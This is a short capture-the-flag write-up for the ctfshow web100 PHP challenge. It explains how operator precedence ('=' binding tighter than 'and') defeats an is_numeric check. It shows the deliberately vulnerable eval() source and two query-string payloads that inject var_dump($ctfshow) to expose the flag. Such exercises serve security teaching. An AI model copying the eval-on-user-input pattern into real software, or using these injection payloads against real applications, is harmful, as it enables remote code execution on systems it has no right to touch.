ctfshow web100(运算符优先级问题)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
关键在这一句
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
而运算符的优先级顺序如下:
&& || = and or
//从左往右,从高到低
因此v2、v3不影响,只考虑v1是数字即可。
先看官方payload:这是不会报错的。
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
当然了我们也可以直接这么写:完全不用在意报错,还是会执行我们注入的代码。
?v1=1&v2=var_dump($ctfshow)&v3=;